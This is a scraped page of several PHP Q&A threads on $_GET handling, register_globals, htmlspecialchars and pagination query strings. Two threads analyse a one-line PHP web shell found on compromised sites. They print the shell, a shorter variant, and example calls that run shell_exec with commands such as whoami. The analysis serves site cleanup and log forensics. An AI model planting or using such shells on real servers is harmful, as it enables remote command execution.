PHP: is echo from an array inside another array ok? - php

Tha following is working in index.php, but is it correct?
Before the html tag:
$la= array();
$la['index.php'] = 'Start page';
(Actually this is another language library that is included)
Then inside the header:
<title><?php echo $la[$_SERVER['PHP_SELF']];?></title>
For me the part "$la[$_SERVER['PHP_SELF']]" seams strange, but its working. The title is there in my browser. Is it good practice?

Yes, current code works. If it's good practice is up for debate.
PHP (like many other language) will evaluate the statements in order.
Everytime you use the brackets you are really using the arrays index operator where the index acts as the parameter.
Your code will first evaluate the $_SERVER['PHP_SELF'] statement which probably returns 'index.php'. The next call will be $la['index.php'] (since that was what your inner statement returned. This will in turn return the value 'Start page' which is what is sent to the echo.

There's nothing wrong with your code. The superglobal $_SERVER['PHP_SELF'] holds the name of the current file. It's not very secure because it can be manipulated to execute arbitrary code if you inject it without sanitizing it properly.

Related

What does this line of PHP code do?

I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.

Found codes left by hacker but don't understand what it does

I found a line of script left by the hacker in one of my PHP files. And it reads like this:
<?php
($_=#$_GET[2]).#$_($_POST[1]);
?>
Can anyone please give some hints about what this line of code does? Thank you
I already posted it as a comment since the question was on hold, here now as an answer:
It's a PHP shell. If you rewrite it to <?php ($_=#$_GET[2]).#$_($_GET[1]); ?> the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
As Reeno already said in a comment, it's like a PHP shell.
Explanation
Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=#$_GET[2]
Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.
#$_($_POST[1])
The # operators should suppress error logging, see PHP.net: Error Control Operators.
The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:
$_=#$_GET[2];
#$_($_POST[1]);
Use case
Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.
First of all, you must remove those lines as soon as possible.
This code is used to call PHP functions. To give you an example, your hacker will use this kind of form :
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
You'll then get this values :
$_ = $_GET[2] = shell_exec
$_POST[1] = ipconfig -all
$_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
# are here to disable errors.
A simpler example would be to use this code :
<?= #$_GET['c'](#$_GET['p']); ?>
With a simple call to http://site.com/page.php?c=shell_exec&p=ipconfig%20-all .

In php, using GET command for same parameter multiple times and php tags

First of all, I heard some web-servers allow you to reach parameter with $a instead of $_GET[a], this is not the case here.
Anyway, I have to reach a multiple times, so instead of doing $a = $_GET[a], I instead use $_GET[a] everytime. In single php tag as in <?php ?>, is that an issue, should I absolutely use variables? does it matter?
Another thing is my php file is really scrambled in my html, I wonder if does it matter with multiple gets?(should not, im just worried)
Thanks.
What you refer of using just $a instead of $_GET['a'] (or $_POST['a'] too) is an old feature known as register_globals. This feature was dangerous and leading to messy code, so it was considered deprecated in PHP 5.3 and finally removed in PHP 5.4.
Then, using $_GET['a'] everywhere in your scripts may lead to problems, because you should never trust user input (all things coming from $_GET, $_POST, $_REQUEST, $_COOKIE and some from $_FILES or $_SERVER). It is recommended to do something like $a = sanitize($_GET['a']); (the sanitize function does not exist, depending on what type of value are you expecting, you should check that what you get is an integer, or a valid date, or whatever, depending on your needs). From now on you should stop referencing $_GET['a'] and use instead the new sanitized variable you have just created $a. Because if you were using always $_GET['a'], chances are that you forget to sanitize it someplace.
Also, before sending this sanitized variable into a SQL query, you should escape it or use it inside a prepared statement to avoid SQL injections. Before outputting it to an html for the user to see, use htmlspecialchars to avoid XSS attacks.
And finally, about having multiple php blocks mixed with html blocks, this is only bad for maintenance reasons, because in the long run it will be a complete mess. Try to separate the html you send the user from the php code. Try to read something about the MVC pattern (Model-View-Controller) (this link is probably too complicated or maybe you don't see the utility right now for you that are just beginning with php (at least I didn't see how it was way better than mixing html with php, for all the complexity needed), but try to grasp the idea behind it) .
First of all, I heard some web-servers allow you to reach parameter with $a instead of $_GET[a], this is not the case here.
This is a PHP config setting called register_globals. It is insecure and should NOT be used. See this question for more information.
You can access an element in the $_GET array as many times as you like, it will not cause problems. However if you are printing an element of the $_GET array (or any other user submitted data) to the page, you should run it through htmlspecialchars() or the like before printing it out to prevent XSS vulnerabilities.
using a variable is a preference for you to decide it does not matter. but variable is the way forward if you use the same one multiple times.
<?php echo htmlspecialchars($_GET['a']);?>
using a variable means that it reusable again especially if you have added extra code, which mean just editing one variable for all instances.
<?php $a = htmlspecialchars($_GET['a']);
echo $a;
echo $a;
echo $a;
echo $a;
?>

pagination and search form issue

I have very basic pagination script and search form with ~4 fields, and action="get" now my problem is that, when i submit my form, i get url like this:
user/people/1/?search=true&country=uk&age=20&online=true ... and so on
so after i submit form everything is just fine, but when i go to page 2 my url changes to:
user/people/2
so my search parameters disappears, this is how i render my links
href="user/people/<?=$next?>"
So my question is what is the best way to keep my paramenters, because now i can only think of for loop and build my link by merging all $_GET values, should i do it like that?
Just append $_SERVER[ 'QUERY_STRING' ] (make sure to htmlspecialchars() it first).
href="user/people/<?php echo htmlspecialchars( "{$next}?{$_SERVER[ 'QUERY_STRING' ]}" ); ?>"
By the way, the PHP short tags <?= ?> are not portable, so you should consider not using those, and using <?php echo ?> instead.
Update:
#Wrikken raises a couple of good points in their answer:
1) passing ENT_QUOTES as the second argument to htmlspecialchars() would be important if single-quoting the attribute value (or to cover it being changed to being single-quoted in the future). This is easy to forget, for me anyway, since I almost always double-quote attribute values. It's unfortunate that it further bloats a call that's already bloated by a long function name.
2) If you're just passing through the query string as-is, then I'd certainly prefer using $_SERVER[ 'QUERY_STRING' ] instead of http_build_query( $_GET ). If, however, you need to change some of the query params, http_build_query() would be the ticket. You can see an example of that in my PHP faceted browser.
Either:
...ople/?<?php echo htmlspecialchars($_SERVER['QUERY_STRING'], ENT_QUOTES);?>"
Or:
...ople/?<?php echo htmlspecialchars(http_build_query($_GET), ENT_QUOTES);?>"
Or:
...ople/?<?php echo htmlspecialchars(http_build_query($some_custom_array), ENT_QUOTES);?>"

Check query string (PHP)

I use a query string, for example test.php?var=1.
How can I check if a user types anything after that, like another string...
I try to redirect to index.php if any other string (query string) follows my var query string.
Is it possible to check this?
For example:
test.php?var=12134 (This is a good link..)
test.php?a=23&var=123 (this is a bad link, redirect to index..)
test.php?var=123132&a=23 (this is a bad link, redirect to index..)
I'm not sure I fully understand what you want, but if you're not interested in the positioning of the parameters this should work:
if ( isset($_GET['var']) && count($_GET) > 1 ) {
//do something if var and another parameter is given
}
Look in $_SERVER['QUERY_STRING'].
Similar to Tom Haigh’s answer, you could also get the difference of the arguments you expect and those you actually get:
$argKeys = array_keys($_GET);
$additionalArgKeys = array_diff($argKeys, array('var'));
var_dump($additionalArgKeys);
test.php?a=23?var=123 (this is a bad link, redirect to index..)
In this case, you only have one variable sent, named "a" containing the value "a?var=123", therefore it shouldn't be a problem for you.
test.php?var=123132&a=23 (this is a bad link, redirect to index..)
In this case you have two variables sent, ("a" and "var").
In general you can check the $_GET array to see how many variables have been sent and act accordingly, by using count($_GET).
I think you are trying to get rid of unwanted parameters. This is usually done for security reasons.
There won't be a problem, however, if you preinitalize every variable you use and only use variables with $_GET['var'], $_POST['var'] or $_REQUEST['var'].

Categories